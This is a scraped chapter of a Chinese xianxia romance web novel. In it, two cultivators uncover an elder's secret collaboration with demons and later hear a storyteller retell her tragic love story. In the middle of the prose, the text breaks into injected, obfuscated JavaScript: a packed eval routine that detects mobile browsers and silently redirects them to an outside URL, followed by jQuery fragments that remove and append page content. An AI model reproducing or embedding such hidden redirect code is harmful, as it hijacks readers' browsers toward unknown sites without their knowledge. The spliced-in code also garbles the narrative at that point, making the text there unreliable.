凡界动乱逐渐平歇,妖族几处据点都被各派弟子合力荡平,修士们难得有这么团结一心的时刻,大家一心一意要铲除掉作乱的妖魔,连内部的党派纷争都被暂且搁置。 言隐和萧唤月已被玉胥宗认定为“学有所成”的一份子,作为主力军,在山下奔波不停。 偶尔会和路承蕊昭意一起做任务,但师兄师姐已经不像当初那般对他们过度保护,碰到硬茬,还会鼓励他们上去碰一碰。 两年时间一晃而过,山下的果树红了又青。 萧唤月与言隐常在一起出双入对,几乎已是外人眼里默认的一对,玉胥宗不禁止宗内恋爱,大家看到他俩手牵手爬山也不会多说什么,还要夸一句郎才女貌。 毕竟道侣这玩意儿,可遇不可求啊。 这天言隐神神秘秘,拉着萧唤月来到僻静处,说自己发现了一个关于玉胥宗的秘密。 萧唤月表现出极大的兴趣,凑上前去:“哦?” “还记得露叶连么。” “当然。” “当初宗主不让门中人声张她的死讯,一部分原因在于,这事涉及到一桩丑闻。” “......难道她不是自杀?”脑子里闪过一些阴谋论。 “不不,自杀是真的。但露叶连曾留下过一封遗书,这才是丑闻所在。信中她提到自己曾与妖族交往密切,并且获知了它们的部分计划。甚至几处隐藏的妖族要塞,就是她在信中圈点出来的,否则那些动乱势力,收拾起来没那么容易。” 萧唤月差点被口水呛住。宗门长老疑似通敌,这的确是天大的丑闻了。 虽然最后良心发现将一切和盘托出,但有此前科注定在修仙界寸步难行,自杀倒是最体面的结局了,至少现在大家提起露叶连,还能尊称一声“长老”。 “你从何处得知?”萧唤月好奇。 “两年前你在东生的记忆里看到露叶连之后,不是一直对这事耿耿于怀么。我也一直有留意露叶连的相关消息。” “今早我去大殿移交卷宗,恰巧看见那几个长老聚在一起,一看就是要商讨大事的样子。我便隐去身形跟着他们去了暗室,好险,再晚一步,露叶连的遗书就要被他们销毁了。” “现在妖族风波已经平息,宗主毁掉那信,估计是动了私心,想给露叶连留个体面,这通敌的证据没了,她便永远是后辈口中的‘归虚长老’。可惜,这事最终还是让我知道了。真相没那么容易遮掩,是不是?” 言隐一脸没所谓的表情。他跟露叶连没交情,自然不会在意她的名声如何。 在最初的惊讶过后,萧唤月也冷静下来。一切都尘埃落定了,现在才知道这个秘密有点太迟。 而且露叶连早都死了......这销账的方式颇为惨烈,宁肯神魂俱灭,也要求个体面的身后名。 言隐继续道:“还有件事,是我从那几个长老的对话中推断出来的。” “什么?” “她曾经有个徒弟。” “那倒是挺正常的,毕竟是门中长老,就算是深居简出的性子,早年间应该也......” “她徒弟是花梁燕。” “啊?”萧唤月露出傻眼的表情,她没想过这两人会联系到一块儿去。 “前任监正是露叶连,现任是花梁燕,大概就是这么回事。” 萧唤月闻言琢磨了一会儿,觉得似乎也说得过去。 钦天监这种独立运作的机构,明面上不偏向任何一方,更不会参与什么党派纷争,避嫌很有必要。 她心念一动,想到了另一件事:“说起来,花梁燕曾经借了那枚发簪,转寄给她师父,后来没还你,可见她师父必然就是......那位怜儿了。” 如此看来,二位当初分道扬镳,多半也有理念不合的原因。在言隐的描述中,盈缺道长是个典型的老好人——对于同族而言。 露叶连可就要复杂得多。 言隐道:“他们的情史我倒不是很感兴趣,这么轻易就能分开,可见也算不上情深似海。” 听到这话,萧唤月有点意外地看了他一眼。没想到言隐的爱情观这么单纯,在他的观念中,相爱就该在一起,千难万难都不能算难。 “不过有一点挺奇怪,书中并没有露叶连自杀的情节,更没有提到她通敌。正儿八经被盖了奸细章的,就东生一个。” “......或许一个是明线一个是暗线?”萧唤月摆了摆手,“反正你那书也不怎么靠谱,里边儿的情节一大半都没发生呢,可见参考性不怎么高。” 这事倒也不难想通,书中露叶连想助妖族挑起大战,又想全身而退,必然得找个顶锅的。 严格来说,甚至不能算顶锅。因为东生真的犯下了通敌的罪,露叶连只是稍加诱导。 东生,天赋很高,能力很强,但心智不够稳定,又恰好有个身世秘密供人拿捏。露叶连“不经意”间透露了他与白家的关系,果然得到了想要的效果。 至于露叶连为什么要帮妖族入侵修仙界,萧唤月实在是想不出理由来了。有些人做坏事只是单纯觉得好玩,而有些人是为了自己的抱负。 萧唤月并不能猜出露叶连属于哪一种,她对这位长老的了解着实有限。 “将来有机会再寻真相呗,很多时候都是线索来找人,不是人来找线索。”居然是言隐在开导她,“反正事情都已经过去,妖族现在毫无反抗之力,长老们也决定了不公开露叶连的事,我们没必要太钻牛角尖。” 萧唤月点点头,比了个大拇指:“说得有道理。不愧是活了几百年的老家伙,够豁达。” “你才老家伙。” “褒义的,夸你稳重。” “......你接下来怎么打算?” “去吃点东西。” “不,我是指更远的以后。” “去吃点东西。” “......” “我知道你的意思,问我未来的计划?”萧唤月嘻嘻笑着揽住他肩膀,“那就是游历天下,寻访各地特色美食,顺便行侠仗义。不过嘛,那是以后的事了,现在还没出师呢。你又是怎么打算?” “我不便在玉胥宗留太久,等你出师,我也离开这里,去当个逍遥鬼王......顺便行侠仗义。” 萧唤月不嘻嘻:“你要跟我分开么?” “当然是一起。” “言隐。” “嗯?” “你有没有想过回家。”萧唤月有些小心地观察着他的脸色。 “想过。但是,回去了就回不来了,跟电脑游戏相比,还是这边更重要。” “那你的家人呢?” “他们排在游戏后面。” “......” “萧唤月,是不是觉得我很无情?” “没有,我刚才只是在组织语言,琢磨该怎么安慰你。” 言隐奇道:“我有什么可安慰的?” “我......并不觉得你无情,如果别人给你的爱只有一点点,你能反馈的情绪自然也有限,这不怪你。” 言隐沉默半晌,转过头去,轻声道:“跟爱不爱没关系。” 萧唤月顺着他道:“好,随心选择便是。” “我觉得那边不好玩,不如这边有趣。” “嗯,这边的确有很多新奇玩意儿。”在另一个世界,哪能看到仙妖大战的场面。 “而且这边有你。”言隐凝视着她,“这才是最重要的。以后我们还有很多很多的事可以做,我们去哪里都一起,不好吗?你难道希望我回家?” 措不及防被直球击中,萧唤月眨了眨眼,声音低下去:“......好吧,我不想装无私。听到你愿意留在我身边,我很高兴。” 言隐显然对这回答十分满意,扬了扬嘴角:“那,听到你很高兴,我也很高兴。” 自从苏醒了前世的记忆,两人都心照不宣,默认对方是特殊的存在,友谊之上,恋人......将满未满。 萧唤月踮起脚,在他的侧脸颊亲了一口,动作故意放得很慢,可言隐并没有躲开。 “我可以这样做么?表达喜爱。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15224276|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>言隐捂着脸:“你做都做了,才来问我。” “你亲我的时候也没有征求我意见。” “我什么时候......”话问一半,言隐闭了嘴。他想起前世自己确实这么做了,但那不是特殊情况么,萧唤月死在他怀里给他造成了多么大的心理阴影! 那时候他忍不住低头吻她,几乎是不掺情欲的,表达爱意的本能行为。 他小声嘟囔:“那时候我亲的是嘴,你怎么是亲脸。” 罢了罢了,萧唤月说过以后还有很多很多的事情可以做。 她心中“恋人”的位置不会有第二选择,他也是。 所以无论是亲嘴还是亲脸,这种事情都只能跟他做——言隐势在必得地想。 * 茶盏里飘着三两点槐花,杯壁有浅褐的茶痕。 萧唤月心思并不在喝茶上,指尖搭在杯沿,正专心听说书先生的故事。 她已经七八年没回过十燕城了,这次借着做任务的机会,总算可以在这儿多留些日子,陪陪父母,顺便重温一下此地风土人情。 自然,言隐也在。 说书先生的醒木拍在木案上,震得桌腿一晃。 “且说那监正大人挥剑斩妖时,半座城的火光都聚在她剑尖上——”说书人折扇唰地展开,扇骨上金漆一闪,“火妖哀嚎震得城砖簌簌落灰,偏生那姑娘不退半步,生生用肉身接了最后一簇妖火!” “后来火妖被剿灭,姑娘却落了重伤,容貌也毁了个七七八八。她心有不甘,认为自己犯了个错。” 底下有茶客接口:“姑娘舍己为人,何错之有?” “错就错在,舍己为人。”说书先生故作高深道,“弱肉强食,弱肉强食。弱小的人被更为强大的妖消灭,似乎也是理所应当——姑娘伤重之后性子愈发偏执孤僻,竟有了心魔,生出这般念头。” “救人是她的职责所在,可她觉得自己救得太多了,承受了不该有的因果。她替弱小之人改了命,这命就落到她自己身上。” “而姑娘的道侣乃正义之士,认为强者保护同族的弱者才是天经地义,观念恰恰与她相反。两人大吵一架,那男人就此离开十燕城,与姑娘分道扬镳。” “多年后,十燕城新监正继位,于是姑娘也离开这里,回了自己老家,与道侣不复相见。本该是一对璧人,却落得个天各一方。” 言隐忽然轻笑一声,茶盏在掌心转了半圈。 萧唤月侧目看他:“你也觉得这故事有意思?” 他凑近她,压低了声音:“我不信你听不出来,这故事的主人公分明是露叶连。” 那说书先生早已做过免责声明,称自己讲的是话本子里的故事,只不过套了现实人物的身份,好让听故事的各位更有代入感。 茶客们唏嘘声里,说书人将折扇往颈后一插:“各位要问后来?后来那姑娘面上覆着白绫,又回到钦天监,在顶楼枯坐三月。直到立冬那日,看到楼下一个熟悉的身影......” “这段开始就是瞎编了”。言隐拎起陶壶续茶,水线稳稳落进萧唤月杯中,“露叶连回玉胥宗做了归虚长老,再没有回过十燕城才对。” 兴许说书先生的太爷爷祖奶奶就是火妖事件中的幸存者,侥幸留下这故事的只言片语,给说书人做了素材。结局无从知晓,说书人只能靠自己续上了。 “故事总爱求个圆满。”萧唤月抿了口茶,“之前还说‘不复相见’,现在怎么又重逢?这故事自相矛盾。” 茶客散尽后,说书人摸出本小册子。最新一页墨迹犹湿,正是他给两位主角续写的结局。今天讲了一半,吊足茶客胃口,明天再讲另一半。 但言隐对说书人口中的后半截故事已经没了兴趣,真正的结局可比这要惨淡许多。 年前他去过一次盈缺的坟,在那里看到了露叶连来过的痕迹——她留下一枚发簪。 看来,在确认过盈缺的死讯后,露叶连回去就开始筹划自己的死亡。 这一切都只发生在短短几天时间内。 如果露叶连有心,应该早就能找到盈缺的消息,毕竟他从没刻意遮掩过自己的行踪。而盈缺找她则要困难许多,玉胥宗又不是什么来去自如的地方。 不过他也从没想过要闯一闯。 活着的时候两人都梗着脖子不肯回头,却在死后达成了和解。 言隐不解,如果换了他,得知盈缺死讯后应该会更加坚持自己的理念,因为盈缺就是介入他人因果,所以才死了。这不正说明露叶连是对的吗? 萧唤月得知他的想法后反问:“你觉得盈缺师父是因为人死的,还是因为妖死的?” 言隐陷入短暂的迷茫。他最不擅长思考这些弯弯绕绕,似乎选择哪个答案都能说得过去,只看怎么解读。 “露叶连长老站在盈缺坟头的时候估计比你更迷茫,她一直认为是弱小的人类拖累了自己。可她伤痕累累的站在坟前,她的爱人只剩枯骨,被埋葬在这小土堆里,这一刻他们才是天地中最为弱小的存在......”说到这里,萧唤月的演讲戛然而止,她觉得自己好像有点太入戏。 她耸耸肩:“好吧我瞎说的,只是试着代入了一下露叶连当时的心情。” 总之帮人还是帮妖,都是露叶连一念之间的事。最终她选择站在人类这边,其中心路历程只有她自己知道。 两人出了茶馆,往家的方向走。 残阳如血,正照在茶案遗落的赤玉珠上。那是先前从言隐袖子里滚出来的,他本来想把这颗珠子送给萧唤月......意在借此机会正式提出“结为道侣”的申请。 说书先生拿起珠子,看了看成色,啧啧,价值不菲啊。他记得这桌坐的是两位容貌出众的年轻男女,怎么粗心至此,连贵重物品都忘了拿走。 细看珠子上面似乎还刻了字……“月”。 说书先生心里有了猜测,莫不是定情信物? 站在茶馆二楼窗边往下一看,说书先生吓得后退一步。 只见太阳落下的方向,一个人影逆着光,朝茶楼的方向奔袭而来,速度快得简直不像人。 在看清那人的脸时,先生又松了口气。这不是先前坐这桌的那个年轻人么?想来是终于发现自己遗失了物品,要回来寻。 说书先生又有了新灵感,决定修改一下自己的故事:男女主重逢时不应干站着,要像这年轻人一样,奔赴目的地时快过野马流星,方显情爱珍贵。 有了灵感的说书人心情很好,推开窗举起手上的珠子,意思是东西还在,大可放心。 这一推窗,他的视野更宽阔了。正巧看到先前与那年轻人一同吃茶的女孩子并未离开,而是在不远处亦步亦趋跟着,笑弯了腰。